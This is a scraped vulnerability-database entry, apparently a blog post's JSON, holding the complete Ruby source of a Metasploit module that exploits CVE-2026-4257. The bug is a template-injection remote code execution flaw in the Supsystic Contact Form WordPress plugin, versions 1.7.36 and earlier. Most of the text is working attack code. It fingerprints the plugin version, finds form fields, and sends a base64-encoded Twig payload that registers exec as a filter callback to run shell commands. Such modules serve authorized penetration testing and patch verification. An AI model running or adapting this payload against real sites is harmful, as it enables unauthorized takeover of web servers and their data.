{“lastseen”:”2026-05-26T19:28:01″,”description”:”This module performs SSTI achieving RCE in webpages containing the Contact Form WordPress plugin by Supsystic in versions 1.7.36 and before. Module Options msf use exploit\/multi\/http\/wppluginsupsysticcontactformrce msf…”,”published”:”2026-05-26T19:01:00″,”modified”:”2026-05-26T19:01:00″,”type”:”metasploit”,”title”:”Supsystic Contact Form WordPress Plugin SSTI RCE”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-HTTP-WP_PLUGIN_SUPSYSTIC_CONTACT_FORM_RCE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-4257″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n include Msf::Exploit::Remote::HttpClient\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Supsystic Contact Form WordPress Plugin SSTI RCE’,\\n ‘Description’ =\\u003e %q{\\n This module performs SSTI achieving RCE in webpages containing the\\n Contact Form WordPress plugin by Supsystic in versions 1.7.36 and\\n before.\\n },\\n ‘Author’ =\\u003e [\\n ‘Azril Fathoni’, # Vulnerability Disclosure\\n ‘bootstrapbool \\u003cbootstrapbool[at]gmail.com\\u003e’, # Metasploit Module\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Privileged’ =\\u003e false,\\n ‘Targets’ =\\u003e [\\n [\\n ‘Unix\/Linux Command Shell’,\\n {\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’],\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :unix_cmd\\n }\\n ],\\n [\\n ‘Windows Command Shell’,\\n {\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :win_cmd\\n }\\n ]\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-4257’],\\n [\\n ‘URL’, # Python Exploit\\n ‘https:\/\/github.com\/bootstrapbool\/cve-2026-4257’\\n ],\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2026-03-30’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Notes’ =\\u003e {\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n register_options(\\n [\\n OptString.new(‘FIELD’, [\\n false,\\n ‘Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.’\\n ]),\\n OptString.new(‘TARGETURI’, [true, ‘Filepath to the webpage containing the Contact Form. Ex: \/wordpress\/index.php\/sample-page\/’]),\\n ]\\n )\\n end\\n\\n def vulnerable?(version_str)\\n return Rex::Version.new(version_str) \\u003c= Rex::Version.new(‘1.7.36’)\\n end\\n\\n def get_version(body)\\n version_regex = \/suptablesui\\\\.min\\\\.css\\\\?ver=([0-9.]+)\/\\n match = version_regex.match(body)\\n\\n match ? match[1] : nil\\n end\\n\\n def get_fields(html)\\n pattern = \/data-name=\\”([^\\”]+)\\”\/\\n\\n field_names = html.scan(pattern).flatten.uniq\\n\\n if field_names.any?\\n print_good(\\”Found fields: #{field_names.join(‘, ‘)}\\”)\\n return field_names\\n else\\n print_warning(‘Failed to find fields.’)\\n return nil\\n end\\n end\\n\\n def handle_field\\n res = send_request_cgi({ ‘uri’ =\\u003e normalize_uri(target_uri) })\\n\\n unless res\\n fail_with(Failure::Unreachable, ‘Failed to receive a reply from server.’)\\n end\\n\\n unless res.code == 200\\n fail_with(Failure::UnexpectedReply, ‘Unexpected reply from server.’)\\n end\\n\\n fields = get_fields(res.body)\\n\\n if !fields.nil?\\n field = fields[0]\\n print_status(\\”Using detected field: #{field}\\”)\\n return field\\n end\\n\\n if field.nil\\n fail_with(Failure::NotFound, ‘Failed to resolve target field’)\\n end\\n end\\n\\n def send_payload(payload, field)\\n b64 = Rex::Text.encode_base64(payload.raw)\\n\\n payload = ‘{%set a%}UTF-8{%endset%}{%set b%}BASE64{%endset%}’ \\\\\\n + ‘{%set p%}’ + b64 + ‘{%endset%}’ \\\\\\n + ‘{%set p = p|convert_encoding((a), (b))%}’ \\\\\\n + ‘{%set e%}exec{%endset%}’ \\\\\\n + ‘{{_self.env.registerUndefinedFilterCallback(e|lower)}}’ \\\\\\n + ‘{{_self.env.getFilter(p)}}’\\n\\n params = { ‘cfsPreFill’ =\\u003e 1, field =\\u003e payload }\\n\\n # Fold any query the user baked into TARGETURI (e.g. page_id=2) into vars_get to avoid having two \\”?\\” characters\\n # denoting two separate query strings in the final URI, as one gets added from the TARGETURI and one from vars_get, which causes the payload to fail\\n if target_uri.query \\u0026\\u0026 !target_uri.query.empty?\\n target_uri.query.split(‘\\u0026’).each do |pair|\\n k, v = pair.split(‘=’, 2)\\n params[k] = v\\n end\\n end\\n\\n send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(target_uri.path),\\n ‘vars_get’ =\\u003e params\\n })\\n end\\n\\n def exploit\\n if datastore[‘FIELD’].nil?\\n field = handle_field\\n else\\n field = datastore[‘FIELD’]\\n end\\n\\n send_payload(payload, field)\\n end\\n\\n def check\\n res = send_request_cgi({ ‘uri’ =\\u003e normalize_uri(target_uri) })\\n\\n return CheckCode::Unknown unless res.code == 200\\n\\n version_str = get_version(res.body)\\n\\n if version_str.nil?\\n vprint_status(‘Failed to derive version’)\\n fields = get_fields(res.body)\\n return CheckCode::Detected unless fields.nil?\\n end\\n\\n if vulnerable?(version_str)\\n return CheckCode::Appears(\\”Detected version #{version_str}\\”)\\n end\\n\\n return CheckCode::Safe(\\”Detected version #{version_str}\\”)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/wp_plugin_supsystic_contact_form_rce.rb”,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/wp_plugin_supsystic_contact_form_rce\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-26T19:28:01″,”description”:”This module performs SSTI achieving RCE in webpages containing the Contact Form WordPress plugin by Supsystic in versions 1.7.36 and before. Module Options msf use…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-57022","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n